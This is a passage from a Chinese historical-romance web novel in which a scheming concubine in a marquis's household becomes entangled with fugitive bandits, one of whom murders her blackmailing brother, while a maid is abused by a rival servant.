凝芳说罢,一转身就进了屋内,独留那婢子愣在原地。 这浣洗衣服哪里是什么轻松的活计?明明比之熬药还要更是操持劳累些! 她这会儿才算明白,凝芳是打定主意不会让凝露好过的。 偏偏如今观荷院里几乎已经是凝芳做主,旁人即便再有不满的心思,却也不能如何了。 *** 御书房。 谢元墨从那日夜里去永宁侯府见过纪萝之后,手边便多了一只并不算精巧的香囊。 这日赵承嘉要过来禀话,谢元墨甚至还索性将那香囊挂在了腰间。 赵承嘉自是不知这些,他上前来规矩行了礼之后便将公事尽数禀报。 他将事情办得还算妥当,所以这会儿到了谢元墨面前才能安定得向其汇报。 只是即便如此,这事也只能算是办成了,并不算是做得多好。 即便撇去纪萝的缘故,谢元墨对赵承嘉也向来不算满意。 他的能力就像是他当初的那个父亲一样,实在是有限。 等公事禀报完,谢元墨起身走到他面前,腰间那只墨色锦囊有意无意地从他眼前掠过,似乎在刻意地昭示着些什么。 赵承嘉微微抬眸,目光在那只锦囊上定了一瞬,那上边的刺绣,他总觉得似乎有些眼熟。 可他自是没胆子去问谢元墨,只得行礼告退。 而看着赵承嘉离去的背影,谢元墨心底甚至有些得意。 但却全然不曾觉察自己这般心态实在幼稚。 赵承嘉离开后,周南星却来向谢元墨禀报了那三个匪徒之事。 他拱手道:“今日上京有人向官府举报,说是在街道上瞧见了那三个匪徒的踪迹,官府的人得知此事,自是不敢耽搁,带着人便去往报官之人说的所在,那三个匪徒确实在,可不想他们太过狡猾,竟还是逃了。” 谢元墨为了这三个匪徒之事费了不少心,甚至让周南星亲自盯着此事,一有消息便及时向自己禀报,可这三个匪徒实在有些本事,虽说眼下全城戒严,他们三人想逃是逃不出去了。 但奈何上京百姓众多,这三个匪徒能躲藏的地方也实在不少,谢元墨又不可能为了此事当真令人挨家挨户地去搜寻。 倘若如此,便不免会惊扰了城中百姓,届时引发诸多揣测,反而不好。 要知此时距离景王叛乱之事也并未过去太久,百姓心有余悸,万万不能在此时再有大动作,引发众人不安了。 如此,便让捉住这三人之事添了许多难度。 谢元墨听得周南星如此说,不由皱眉,“这都没将人捉住?” 周南星神色迟疑道:“来报官之人话说得含糊,而因着关于这三个匪徒的通缉令上赏银实在不少,所以官府这些时日也有不少百姓前来报官都说曾见过这三人,可官府的人去了,总不免扑了个空,这回听得这话,虽也及时安排人去了,可去的人却不多,那三个匪徒又是有些本事的,所以……” 这事倒也怪不到谁身上,只是最终确实让那三个匪徒寻了机会逃走。 眼见谢元墨神色不虞,周南星又好似想起什么来,忙补充道:“不过那三个匪徒大约没想到官府的人会在此时出现,他们逃窜得慌乱,官府的人也借机伤了他们其中一人,据说伤势不轻,他们这些日子为了避开官府之人日子本就不好过,眼下又受了伤,怕是更难。” “盯紧城中的药材铺子,不论大小,都安排官兵盯着。”谢元墨冷声道:“这一回,万不能令他们跑了!” 周南星忙应道:“是!” *** 观荷院。 王玉盈既是令凝芳做了这般安排,对于此事后续自然也极为关心。 凡事官府的人捉人,动静必然不会太小。 所以她提早吩咐了,报了官之后便要盯着官府之人的动静,看官府的那些人最终能否将这三个匪徒一网打尽。 原以为那三个匪徒并无防备,这次官府之人定能顺利将其拿下,可不想竟还是出了岔子。 凝芳得知那三个匪徒竟还是逃出生天了,一时间也颇为惊讶,不曾想到那几个匪徒竟是这般有本事的。 而她更为发愁的是不知此事应当如何向王玉盈禀报。 她知王玉盈的性子,倘若知晓这三个匪徒竟没被官府的人擒住定是要发怒的。 但这事也总不能瞒着。 于是她酝酿几番,到底还是与王玉盈说了此事。 王玉盈果真一下便变了脸色,“这官府的人竟是这般没用,这样都不曾将这三人捉住?” “是。”凝芳只能如实说了,“官府只安排了三人前去查看,那几个匪徒都是有些本事的,虽说并无防备心思,可想来要对付这三两个官府的人 也并非难事,所以最终还是逃了出去。” 王玉盈咬紧了牙关,眼底也多了几分不安,“当真是废物,都已经告诉了他们人在哪儿,竟都不曾将他们捉了去!” “姑娘。”凝芳显然也有些担心,她试探着问道:“他们不会知道这事是我们在背地里算计,然后再来寻我们麻烦吧?” 凝芳是见过那三个匪徒的,一个个分明都是穷凶极恶之徒,倘若他们知晓了此事是她们的算计,想来定是不会轻易放过了她们,到时候,怕就麻烦了…… 王玉盈心底显然也因这事不安。 但她很快冷静下来,“没事,我既然能对付他们一回,也就能对付他们 第二回,不过是些空有力气但却没脑子的莽夫罢了,对付这种人不难。” 她捏紧了手中帕子,“况且,我只要不离开侯府,他们三人就算再有本事,也定是不敢闯进侯府来的。” “除非当真是嫌命长了!” 凝芳一想也是这个道理,上次那三个匪徒能找上她们的麻烦也是因着她们出了侯府的门。 如今她们身在侯府里,那三个匪徒本就要想尽办法躲着官家的人,定是不会只为了寻她的麻烦而这般涉险的。 说不定她们只要在这侯府中避上几日,他们三人就已经被官府的人捉了去,这事也就这般了了。 只是她们都不曾想到,当日夜里,那匪徒竟就已经偷偷潜入了永宁侯府,甚至闯入了观荷院中,立在了王玉盈的床榻前。 第54章 房内只留了两根烛火,微弱的光亮将他的身影在地上拉长。 王玉盈一抬眸,便正好瞧见了那张可怖的面容,她额头的冷汗一下就冒了出来,几乎是克制不住地要尖叫。 只是那匪徒及时地捂住了她的嘴,让她最后也只勉强发出了呜咽的声音。 “嘘。”匪徒放轻了声音,“你若是发出声音,被旁人知晓我在你房中,于你,也没有好处。” 王玉盈连忙点头。 匪徒这才缓缓将手松开,可眼底的怨毒却是半分不曾少,“王姨娘当真是好算计,为了摆脱我们兄弟三日竟是使出这样的手段来,这时过河拆桥,想彻底了结了我们兄弟三人了?” 王玉盈这会儿已经回过神来了,她虽然不曾想到这匪徒竟有这般本事,但却也明白此时惹怒了他对自己没有半分好处。 对于他们这样的匪徒而言,杀人实在轻而易举。 若自己将他们逼入绝境,他们定不会放过自己。 所以她勉强挤出一丝笑意来,“你说的这是什么话,我何曾对你们用过什么手段。” 见她不肯承认,匪徒冷笑一声,索性将话说白了,“今日去报官的人,难道不是你的人?” “报官?”王玉盈稳住心神,状似疑惑道:“什么报官?” 王玉盈向来擅长骗人,这会儿说起谎话来也更是得心应手,那双眼眸里尽是无辜,好似当真对这匪徒所言一无所知一般。 见她如此,那匪徒神色中也多了几分迟疑,“今日去报官告知官府的人我们兄弟三人所在的人,不是你安排的?” 他说完这话,不等王玉盈回答,却又摇了摇头,“不对,若非你,旁人怎会知道我们兄弟三日在那处?” “或许有路人瞧见了你们面容也未可知。”王玉盈却很快想到了反驳的理由,“如今上京的街头贴满了你们兄弟三人的画像,有路人瞧见你们面容,认出你们来,故而去报了官也是正常,你怎知便就是我做的安排?” 这话说得那匪徒竟也不由愣住,他听着王玉盈接着道:“你都说了我们早在一条船上,倘若你被官府之人捉去供出我来,对我又有何好处?” 匪徒默然,这也正是当初他选择相信王玉盈的缘由。 只是他不知,王玉盈根本不曾信过他说的那些话,更不认为只是杀了个纪萝身边的婢子,便能将事情闹到这般地步,自是不会担心这三人被官府的人捉去之后会牵扯上自己。 但如今为了稳住这匪徒,王玉盈是万万不能说了实话的。 匪徒顿了片刻之后,神色虽有缓和,但他却也不曾忘记自己此行的目的,于是咬牙道:“罢了,此事到底是不是你暗中算计眼下都已经没有那么重要了。” “这些官府的人下手颇为狠辣,重伤了我二弟,眼下上京的那些药材铺子都有官府的人盯着,我们若是去那些地方便是自投罗网,但我二弟伤势严重,若没有伤药怕是撑不过去,你帮我准备些伤药吧。” 眼下在上京,除却王玉盈之外,他确实也寻不到旁人愿意帮他。 况且王玉盈是永宁侯府的人,即便是妾室,身份地位也并非寻常人能相比的,向她要些伤药应当不是难事。 所以即便闯入这永宁侯府危险重重,他也依旧来了。 “对了。”王玉盈还未应下,他又想起什么来,继续道:“除却伤药之外,你曾答应过我的,路引,银子,一样都不能少。” 他也并非是傻子,方才王玉盈那番话或许确实有几分道理,所以也算是糊弄住了他。 可他此番过来除了要向王玉盈要个说法之外,更要紧的却是能将那些东西带回去。 只有这样他们才能有机会顺利离开上京。 王玉盈面上的笑意微微僵了僵,他要的这些东西,王玉盈此时自是拿不出来的,但她却也不能直言,于是斟酌着开口道:“你今日来得突然,这些东西我一时间也拿不出来,不如再过两日……” 她唯一能想到的法子唯有拖延。 拖延的时间越长,对她而言越是有利。 可那匪徒却冷笑一声,“王姨娘,你别将我当傻子,次次都这般拖延,我如何再能信得了你?” “并非是有心拖延,只是这东西确实要得突然。”王玉盈心底早已是将面前之人骂了千百回了,可面上却还是撑着笑意,竭力向他解释着,“过两日等我准备好了东西,定亲自送到你手中。” 见匪徒神色并未松动,她还添了一句,“我房中还有些伤药,这些你可以拿了去应急,别的两日后我定送到你手中。” 可惜匪徒即便信了王玉盈几分,此时也等不了了。 两日时间,这两日足够发生的事情实在太多,他不能再赌。 不过此时已是深夜,要逼着王玉盈现在便拿出自己要的那些东西来显然有些不切实际,于是他顿了片刻,“我也不为难你,你现在给不了我那些东西,我可以等,但我只等一夜,明日一早,我要拿到我所要的所有东西,一样都不能少。” 他盯着王玉盈,几乎是一字一句道:“到时候你去帮我寻一件你们府中杂役的衣服,我自会混出府去。” “那……那你今夜……”王玉盈被他这话惊着了,神色中也不免多了几分慌乱。 怎么听他这话里的意思,他今夜竟是要留在观荷院? 匪徒微微挑眉,“今夜,我自然只能留在王姨娘房中。” 想到自己竟要与这般面容可怖的匪徒同宿一屋,甚至要生生这般熬过一夜,王玉盈的面色不由白了几分,“观荷院中也有几个闲置的屋子,我可以吩咐人去收拾妥当,如此,你也能歇得舒服些……” “不必。”匪徒直接打断了她的话,径自从打开一旁的柜子从里边取出毯子来,顺势便铺在了地上,“我今夜便歇在此处,明日一早,东西拿到手,我马上便走。” 说罢,他当真闭眼躺下,不消多时便传来了沉稳的呼吸声。 可王玉盈躺在床榻上确实无论如何都睡不着,她辗转反侧到了后半夜,目光不自觉地落在了躺在地面那匪徒的身上。 好几回倘若不是亲眼看着那人就睡在自己眼前,她都只以为那不过是一场噩梦罢了。 : 可偏偏人就在这儿,她不得不相信这一切当真发生了。 更为糟糕的是即便到了明日早上,她也绝对拿不出匪徒要的那些东西 来。 到时候,她又应当如何应付呢? 王玉盈越是想着,就越发觉得头疼,她盯着躺在地上的匪徒,脑子里甚至闪过一个疯狂的念头。 那便是自己亲手将这人杀了。 只要他死了,那一切便也就随之解决。 那样的念头一出现,便在心底越烧越旺,她甚至已经放轻了动作就要起身。 可偏偏正在这时,那匪徒的一个转身却将他吓得惊出了一身的冷汗。 虽然后边他也并未睁眼,显然依旧睡着,可王玉盈却再不敢有那般念头,甚至庆幸自己方才并未对他动手。 毕竟他可是杀人如麻的恶匪,倘若被他觉察自己的意图,哪怕自己手中的簪子已经捅进了他的要害之处,只要没能令他立刻没了气息,他便还能反杀了自个。 活着,才是最要紧的。 只是舍弃了这般想法,王玉盈却也再想不出什么好的应对之法来。 第二日一早,那匪徒也醒了过来,他悄悄地藏进了床榻底下,而王玉盈一如往常般起身梳洗,只是神色却始终有些心不在焉,显然是心里装着事。 凝芳见王玉盈这般神色,心底虽觉得古怪,可却也不敢多问。 而王玉盈更是浑身都不自在,不论做什么,都总觉得身后有一双眼睛在盯着自己,自是不好受。 正当她绞尽脑汁想着如何暗示凝芳带人来彻底将这匪徒了结之时,外间却有人推门进来,竟是王绍。 “阿姐。”他瞧着瘦削了些,可姿态却依旧是往日那般吊儿郎当的模样,“你这两日可当真害我不浅啊!” 王玉盈怎么都不曾想到王绍竟会在这当口过来,她一心想着还藏在床底下的匪徒,自是无心应付王绍,只想着尽快将他赶走了事,于是直接将手腕上的镯子摘了塞到王绍手中,眼神中竟罕见地有几分哀求,“眼下阿姐手中也并不宽裕,你先拿了这镯子去当了,等往后阿姐有了银子再给你。” 她难得对王绍的态度这般好,王绍自己都颇为意外。 只是等他将王玉盈塞过来的那只镯子细细瞧了之后却不由嗤笑一声,“阿姐拿这样的东西就想打发了我?这破镯子拿去当铺能当几两银子?” 他随手将那镯子丢到桌上,接着毫不客气地往一旁的椅子上一坐,“今日我到底是为什么事情而来,想来阿姐的心里也有数,便也就没必要拿这些东西来敷衍我,省得浪费口舌!” 王玉盈几乎要将自己的掌心掐出血来,倘若此时她能拿出银子来了了这事,她自然是不会多说。 偏偏她自个也早就依旧是捉襟见肘,又如何能拿得出让王绍满意之数来? 第55章 想着屋里头那匪徒也在,王玉盈只得好声好气地劝道:“阿姐并不曾骗你,眼下手中确实拿不出这银子来,明日,明日我备下银子令人送到家中去,可好?” 她自然知道不说明日,即便再有几日,她大约也拿不出这银子来。 可现在只想着应付王绍,便也只尽可能令他满意了而后离开此处。 如此,她方能安心解决匪徒之事。 但王绍却依旧并不满意,他起身走到梳妆台前,摆弄着妆匣里的那些廉价首饰,“阿姐向来聪明,想要糊弄我这个做弟弟的本就是信手拈来,总归今日不拿了银子,我是不会走的。” 听他将话说到了这份上,王玉盈一时也有些气急,“我这一时半会确实是拿不出银子来,你便是再如何逼我,我拿不出来也还是拿不出来!” “我倒是奇怪了!”王绍竟是索性在这梳妆台上翻找起来,“阿姐如今好歹也是入了永宁侯府,即便只是个妾室,也总不至于什么都捞不着。” 他将梳妆台彻底翻找了一遍,没找着什么值钱的物件之后又转而要往里间走去,不过却被反应过来的王玉盈及时拦住,“你这是做什么?” 可王绍却一把将她推开,大步走进了里间继续翻找起来,嘴里啧啧称奇,“若我记得不错,阿姐不是说侯爷心里有你么,怎么阿姐入了府却过上了这种拮据日子,竟是比之从前在袁家还不如?这样看来,阿姐当初费心算计,却也……” 他的话才说到此处却不由顿住,目光直直地与藏在床榻底下的那一双阴沉的眼眸对上。 这一下确实唬了他一跳,但他又很快意识到什么,神色中竟是多了几分嘲讽之意,“看来果真侯爷并未将阿姐放在心上,否则阿姐怎会这般寂寞难耐,竟是在自个房间里藏了男人!” 王玉盈瞧见王绍直接要往床底下瞧去,心底便已是暗道不好,可惜终究是慢了一步,未能顺利将人拦下来。 而一旁凝芳显然也因此吃了一惊,她倒是见过那匪徒,可却怎么也想不通这匪徒因何会出现在姑娘的房中。 自然,她明白事情绝非王绍所言那般,可此时却也不好开口解释,只能心底暗自着急。 那匪徒见王绍既然发现了自己,便也不再藏着掖着,索性从床底下爬了出来。 这下王绍菜彻底瞧清楚了这匪徒面容,见他满脸纵横的丑陋疤痕,一时也不由有些稀奇,“阿姐这口味当真是独特,既是要背着侯爷寻男人,怎地也要寻一个模样端正的,偏偏生得这副模样,阿姐竟也能看得下去?” 他说的话说得不太好听,而那匪徒原本便不是个脾气好的,骤然便变了脸色。 王玉盈瞧着情况不对,忙挤出笑意上前解释道:“你这可是误会了,他与阿姐并非如同你想的那样,只是他曾救过阿姐一回,如今他落了难,阿姐才给了他一处容身之所罢了。” 王玉盈的反应向来很快,这会儿不过几息之间,她心下便已经是想要了说辞。 只是王绍早知她嘴里没有一句真话,这会儿听她这般辩解,也只觉得可笑罢了,“阿姐是说只是给这位救命恩人一个容身所在,可却将人藏在了床榻底下,这可当真是个不错的容身所在啊!” 他语气半分不曾客气,分明是不相信王玉盈所言的。 而听着这些话,那匪徒脸色更是沉得厉害。 王玉盈本还要再解释什么,但王绍却根本没耐心听她说这些,只摊手道:“其实说到底阿姐与这位所谓的救命恩人到底是什么关系与我何干呢?我只是过来要银子的罢了。” 他转头看向那匪徒,“你也好,阿姐也好,只要给足了我银子,今日之事我保管不会往外头透露半个字,但若是不给,阿姐也就别怪我这个做弟弟的不留情面了!” “我如今确实拿不出那么多银子来……”王玉盈咬紧牙关,试图继续劝说王绍,“这事闹大了对你来所也是没有好处的,我嫁入侯府,往后侯爷也是你的倚仗,你出去胡言乱语,毁了我,也是毁了你自个!” 王绍听着这话,嗤笑一声之后索性往房门方向走去,“阿姐的这些话只能唬住母亲,对我却是没有半分威慑,你且等着罢,不仅是你与旁人偷/情之事,别的事我也都会一应给你抖落出来,总归是我不好过,阿姐也别想过安分日子!” 王绍这话是全然不留情面了,不仅仅是这个匪徒的事,更是从前王玉盈与袁庆生的那些事,甚至还有王玉盈对赵承嘉的那些算计! 王玉盈简直不敢细想,倘若这些事当真被赵承嘉知晓,她会落得何种境地。 慌乱之下她还想去将人拦下。 只是她不曾想到,那匪徒的动作却比她更快一步,竟是直接从腰间摸出了一把刀子来直直地捅进了王绍的身体。 他原本便是杀人如麻的匪徒,杀人这样的事情对于他而言简直轻而易举,他稍稍用了力气,那把刀子便没入了王绍的要害之处,他是冲着要了王绍的性命而去的。 温热的鲜血瞬间喷洒出来,在地面留下一片鲜红的痕迹。 她不可置信地抬眸看去,恰好与王绍睁大的双眼对上。 王绍自是也不曾想到那匪徒竟会在这里对自己动手,他的眼睛睁得极大,竭力张了张嘴似乎想开口说些什么,可唯有源源不断的鲜血从他口中涌出,他只能发出含糊的声响。 他很快没了气息,而那双眼睛却依旧不曾合上,似乎在昭示着他心底的怨恨…… 王玉盈跌坐在地上,眼神中除却惊恐,更多的是不敢相信,她声音颤抖得厉害,“那是我弟弟……” 那匪徒却已经慢条斯理地用王绍的衣服将刀子上留下的血迹擦拭干净,“那又如何?他刚刚可是说了,倘若你不给他银子,他便要将你的事全都说出去。” 说到此处,他随手将那刀子别在腰间,而后是笑非笑地看向王玉盈,接着道:“难道你不怕?” 他轻描淡写的几句话便让王玉盈僵在了那儿。 她说不出反驳的话来,甚至不得不承认刚才王绍声称要将所有一切都说出去之时,她 心底也并非全然没有直接将王绍杀了,如此一了百了的念头。 眼前的匪徒只是比她动手更快一些罢了…… 想明白这一层,王玉盈轻轻闭了闭眼睛,她明白事已至此,再去追究旁的也是无益,如何将此事处理干净才是要紧。 于是她在凝芳的搀扶下强撑着起身,而后一步步来到王绍身边,摘下他素日佩戴的玉佩,还有束发的簪子,甚至连镶嵌了宝石的腰带也一通摘了下来,而后将这些东西尽数塞到了那匪徒的手中,“我这个弟弟身上用的东西向来都是最好的,你将这些拿去当了,应当值不少银子。” 匪徒捏着那块玉佩透过光亮细细瞧了瞧,又将那簪子与腰带上的宝石也来回看了几番,知道这确实是难得的值钱物件,这才尽数收了起来。 而王玉盈又看向一旁的凝芳,“去将我房中余下的那些伤药取来。” 凝芳此时自是一句话也不敢多说,只应了个“是”,便匆匆去里间柜子里取了个木盒子过来。 王玉盈从凝芳手中接过这盒子,又转头将它递给了匪徒,“这里面的是上好的伤药,你二弟应当能用上。” 匪徒虽接过这些东西,可却显然并不满意,“路引呢?没了这东西,我们兄弟三人可逃不出这上京去!” 这路引是王玉盈一早便答应了的,对匪徒而言自然也是最为要紧的。 倘若继续留在上京,他们即便再如何躲藏,最终怕也逃不过被官府之人捉住的结局,所以他必须想法子离开。 “路引我一时半会拿不到。”王玉盈脸色苍白,事情已是到了这地步,她也索性说了实话。 那匪徒脸色一变,“王姨娘,这事可是你当初答应过我的。” “我知道。”王玉盈咬紧牙关,死死盯着眼前人,“可眼下确实拿不到路引,你也知道我不过是个姨娘,哪里来的这般通天的本事,你便是杀了我,我也是拿不到的!” “那我们兄弟三人怎么办?要是逃不出上京城,那迟早要被官府的人抓住!”匪徒自是不会轻易在此事上边让步。 王玉盈移开目光,“城外有一处寺庙,据说香火很是灵验,明日我会以求子为由头去那寺庙上香,届时你们兄弟三人扮作我随行的护卫,只等出了城门,你们便自行离去。” 这确实是个不错的法子,那匪徒闻言也显然心动了。 但神色却依旧有些迟疑,“我如何能相信你的话?倘若我今日离开之后,明日你便不认账了,我要再回这永宁侯府来寻你可实在不是件易事!” 王玉盈实在不是个值得相信之人,那匪徒也并非傻子,自是不会有那么好说话的。 第56章 “我弟弟的尸身现在就在地上躺着。”王玉盈语调出奇的冷静,“我与你一同合谋杀死了我自己的弟弟,这件事倘若被别人知晓,你觉得我还能有活路么?” “我有这样的把柄握在你手中,你还害怕什么?” 匪徒沉默下来,他不得不承认王玉盈的话有些道理,或许他应当再相信她一回。 良久,他目光移向窗外,“那你去帮我找一件府中杂役的衣服,我今日就先离开,但若明日我没见到你,那我们兄弟三人即便下场不好,也定不会让你好过。” 他这话虽是威胁,可也算是愿意信王玉盈一回。 时至此刻,他能对王玉盈有这样的信任,已经是颇为难得。 只是对于王玉盈来说,这还远远不够。 “不。”她轻轻摇头道:“你现在还不能走。” 匪徒显然有些没明白她的意思,有些疑惑地听着她继续把话往下说了下去,“我弟弟的尸身,你得帮我处理。” “你要我怎么处理?”毕竟人是死在了永宁侯府,这对匪徒而言自然也不会太容易。 “我会安排好一切。”王玉盈心底早已有了盘算,“眼下时辰尚早,等入了夜,你换上杂役衣服帮我将尸身搬离侯府随便寻一处地方埋了便是。” 到此时,王玉盈对于她的亲弟弟就这般丢了性命之事已经浑然不在意。 对于他的尸身,她也只想随意掩埋了便是。 匪徒见她神色这般平静地说出这样的话来,看向她的目光也不由变了变。 虽说他与王玉盈接触的这几回已经令他看出眼前这位看似柔弱的女子绝非等闲之辈了,可见她这般冷漠的说出这样无情的言论来,心下还是不免有些惊讶。 “这人是你杀的。”王玉盈见他未曾言语,以为他是不愿意将这最后的收尾做好,不由微微皱眉,“倘若不将这尸身处理妥当,若是被人觉察到什么,你们也脱不了干系!” 他们之间的牵扯越来越多,现在还关系到了一条活生生的人命上。 或许这匪徒杀人如麻,这样的事情对于他而言早已是司空见惯,但偏偏是这种时候,他们几人被官府的人逼得四处逃窜躲藏,再出了这样的岔子,他们或许也是承受不起这后果的。 果然,匪徒回过神来之后也对王玉盈这般安排并无意见,“好,就按你说的办吧。” 说罢,他随意地坐在案几旁的椅子上,“折腾一早上了,什么也没吃,实在是饿了。” 他瞥了一眼一直站在一旁,即便竭力克制住自己心底的恐惧,可脸色依旧有些苍白的凝芳,“去给我拿点吃的东西来吧。” 凝芳闻言,也不敢答应,只小心翼翼地看向王玉盈,见王玉盈点了头之后才低声应了个“是”。 而后匆匆出了房门。 眼见凝芳这般胆小,匪徒笑了一声,“王姨娘身边这婢子倒是与你半分不像,胆子太小了些。” 王玉盈已经拿了帕子一点点在擦拭着地上的血迹,她听匪徒这样说,倒是想起了从前在她身边伺候的凝露,摇头道:“胆子太大了也不是好事,身边人只要稳妥听话就足够了。” 匪徒微微挑眉,“倒也是这个道理。” 整整一日,王玉盈都不曾离开观荷院,她与凝芳一起将地上的血迹处理干净,而后又给王绍换上了府上杂役的衣服。 这自是费了不少功夫,可王玉盈也不敢令旁人来帮忙,这样的事,多一人知晓便多一份危险。 等到入夜,王玉盈也已经将事情安排妥当。 她提前拿了首饰去打点了厨房的人,利用素日送菜的木板车将尸身带出去,而匪徒便装成送菜的农人。 夜色掩饰下,并不会有人生疑。 “不论是厨房那边的人还是门口的护卫我都已经打点好了。”王玉盈心底到底还是有些不安,等那匪徒要离开时,又多叮嘱了几句,“这事万不能出了岔子,否则无论是我还是你们兄弟三人,都定不会有好下场。” 匪徒点头,他眸色沉沉地盯着王玉盈好一会,而后才道:“明日的事,也一样绝不能出差错,否则后果,你应当知道的。” 王玉盈自然答应,她早已盘算好所有的一切,便只是为了王绍之事不出差错,她也不敢再得罪了眼前之人。 匪徒见她应下,也不再多说,转身便往外间走去。 而门外一道身影见有人出来,才神色慌张地藏于廊道的转角处。 直至那匪徒离开,躲在角落里的凝露都还有些没有缓过神来。 她今日想法子过来,其实是为了见王玉盈的。 她这些时日在凝芳手下受了不少折磨,身子也更是一如不如一日,原本拿了自个攒下的银子央了人去外间给自己带些治病的药,可这事不知怎的被凝芳知晓。 她存了不想 让凝露好过的心思,得知这事,也不顾凝露身子病重,生生将那银子昧了下来,如此,那药的事情自是没有了下文。 凝露无法,也只得就这般一日日生生熬着。 但昨日夜里与她交好的那婢子婷玉却忍不住提了一句,“凝露姐姐,你虽是做错了事,可咱们姨娘罚也罚过了,也该消气了罢。” 她认真道:“你从前也帮咱们姨娘做了不少事,又是姨娘还未出阁时便跟在身边的,也总该是有些情份在的,就算不再让你在身边伺候,也不该这般折磨人的。” 凝露听着这话,心底不由升起了些希望。 婷玉只知道她素日帮王玉盈做了不少事,可却不知她具体到底做了些什么。 不说旁的,甚至那会李氏打定主意要将王玉盈嫁去孙家,也是她孤身一人闯入侯府,在赵承嘉面前将王玉盈提前交代给她的话说清了,王玉盈这才得以脱了身。 如此说来,她便是说一句没有她,便也就没有今日能入了侯府的王玉盈也是没错的。 婷玉说得来了劲,继续道:“说到底如今这些事儿都是凝芳在背地里算计,或许姨娘根本不知凝露姐姐你受了这些苦呢,若是姐姐能想法子让姨娘知道了这事,便也就不用再受这些苦了呢!” 婷玉的话让凝露心底一动,她声音沙哑得厉害,点头道:“好,我寻了机会便去试试看。” 她看似好像并未太将这话放在心里,第二日也依旧像往常一般浣洗着堆积如山的衣物,可到了夜里,那样的念头却始终存在于她的脑中,在发烫着,灼烧着,怎么都挥之不去。 最终她还是决心去试一试。 她毕竟曾经为王玉盈做过那么多事,立下的功劳更是数不甚数,况且她也并无旁的要求,只是想摆脱眼下的困境罢了。 或许,王玉盈不会在这事上边为难她。 如此想着,她早早换了件干净的外衫,避开府中下人沿着小道绕到了王玉盈房间外间。 她知道倘若她来此之事被凝芳知晓,那凝芳定不会让她见到王玉盈的,恐怕之后还会对她更是防备,让她再无见到王玉盈的可能。 所以她唯有这一次机会,必定是要再三小心的。 她偷偷摸摸躲在房门外,原本是想着等亲眼见到凝芳离开之后再去见王玉盈,可不想却亲耳听到王玉盈的那些算计,甚至透过门缝亲眼瞧见那具已经换上杂役衣服的尸身。 那的确就是王绍。 她跟在王玉盈身边做事并非一日两日,自然知道王玉盈的性子从来不似表面上看来那般柔弱,恰恰相反,她行事狠辣,为了达成目的更是不择手段。 但即便如此,凝露也实在想不到王玉盈会亲手杀了王绍,那可是她的亲弟弟! 凝露只觉周身冰冷,直至那匪徒往外面走来,她才回了神,慌忙躲进了角落。 那匪徒走后,她躲在原处,心底思绪早已是乱作一团。 等她终于是冷静下来,也才回过神,想明白眼下所发生的一切与自己其实都并无关系。 对于此时的她来说,最为要紧的是要见到王玉盈。 如此,她不再迟疑,快步走到房门前敲了敲门。 而里间王玉盈原本就因为王绍之事精神颇为紧绷,乍一听到窍门声响,吓得脸色猛然变了。 凝芳心里也紧张得不行,可还是鼓足勇气问了一句,“是谁?” 凝露原本是想着避开凝芳,但方才见了那般景象,也知像避开她怕是不太现实。 好在里间王玉盈也在,当着姑娘的面,想来凝芳也管不住自个的嘴。 于是答道:“姑娘,是我,凝露。” 一听着名字,王玉盈眉头有些厌烦地皱了起来,瞥了一眼一旁凝芳道:“你出去打发了她!” 她如今正是最为心烦的时候,哪里会有心思见凝露? 况且她也知道凝露是为了何事而来,无非是到她面前来喊冤罢了。 那些话,她只想着便觉得心烦。 凝芳原本听到凝露声音心底还有些不安,毕竟她对凝露使的那些手段王玉盈都是不知的。 倘若凝露当真将这一切告到王玉盈面前来,她也不敢确定王玉盈是否会因着这事怪罪于她。 可不想王玉盈转头却只吩咐她去打发了凝露,这是连见也不想见凝露的意思了。 凝芳弯了弯嘴角,垂首应了个“是”。 第57章 凝露等在房门外,一双手用力攥紧了衣袖,心底更是紧张得不行。 她反复斟酌着等会见了王玉盈之后到底如何开口,但却不曾想到最终却连见到王玉盈的机会都没有。 凝芳匆匆推门出来,瞧见立于一旁的凝露之后先是轻笑了一声,而后不等凝芳回过神来,便狠狠打了她一巴掌。 凝露的身子原本就病着,凝芳这一巴掌又并未收着力气,竟是将凝露打得站立不稳,重重地摔在了地上。 “我要见姑娘。”凝露艰难地从地上爬了起来,周身已经是疼得如同要散开来了一般,可却依旧一步步往房门的方向走去。 她以为只要见了王玉盈,便还能有转机。 可凝芳见了她这模样,只觉得可笑。 为了不打搅到王玉盈,她又唤了两个粗使婆子过来生生将凝露拖了出去,为了防止凝露叫喊出声,甚至还死死捂住了她的嘴,直至到了院子里,才一把将人摔在了地上。 凝露再度被这样重重一摔,疼得几乎蜷缩在了地上,久久不曾缓过来,嘴里却依旧喃喃念着,“我要见姑娘,我要见姑娘……” “你以为姑娘会愿意见你?”凝芳嗤笑一声,索性戳穿了她最后一丝幻想,“你方才可是在房门口说的那些话,你以为姑娘还会不知是你来了?” 凝芳一字一句,颇为残忍道:“倘若姑娘想见你,你以为我能拦得住?” 其实凝露也并非全然想不到这一层,只是心底还存了幻想,不愿相信她曾为王玉盈付出这样许多,最终却落得这般结局罢了。 而凝芳所言算是将她心底的那些幻想彻底戳破,也让她不得不认清现实。 她仰头看向凝芳,眼底多了几分卑微至极的祈求,“凝芳,从前是我对不住你,我如今也已经付出千百倍的代价了,你就饶恕我这一回,好吗?” “我饶过你?”凝芳觉得有些好笑,“难道你觉得我竟会那样蠢,竟会再让你有机会越过我去?” 凝露忙摇头,“不是的,我已经没了那种心思,只是我这些日子身子越发不好,若是能给我换一份轻快些的活计,等我身子稍稍养好些再……” 但凝露的话还不曾说完便被凝芳打断,“这院子里的下人谁人不想做轻快些的活计,那若是人人都是如此,那那些重活累活哪里还有人愿意做?” 凝芳这一番歪曲事实的话说了出来,凝露心下便也明白了。 她原本还想着向凝芳再解释解释,可是听凝芳都说出这样荒唐的话语来,凝露又怎么会还不明白? 显然,无论她再如何苦苦哀求,凝芳都不可能会放过了她。 既然如此,那也不必再多做解释了。 “我明白了。”她低下头,轻声道:“往后再不会说这种话了。” 凝芳见她低眉顺眼的模样,自然很是受用,不过却还是在她耳边警告了一句,“你最好不要再心存妄想,倘若再有一次让我发现你存了别的心思,那我定不会再轻易饶恕了你!” 今日发生的事情颇多,凝芳也没有那么多时间来与凝露纠缠。 所以只是稍稍教训了她一番,见她已是不敢再有别的念头才放过了她。 最终凝露强撑着从地上爬了起来,一瘸一拐地离开了。 而凝芳匆匆回了房中。 她知此时的王玉盈正是心底最为不安之时,也是身边最需要人的时候。 “你将凝露安排去了何处?”只是她一进来,王玉盈便问了凝露的事。 凝芳面上的笑意一僵,但很快恢复 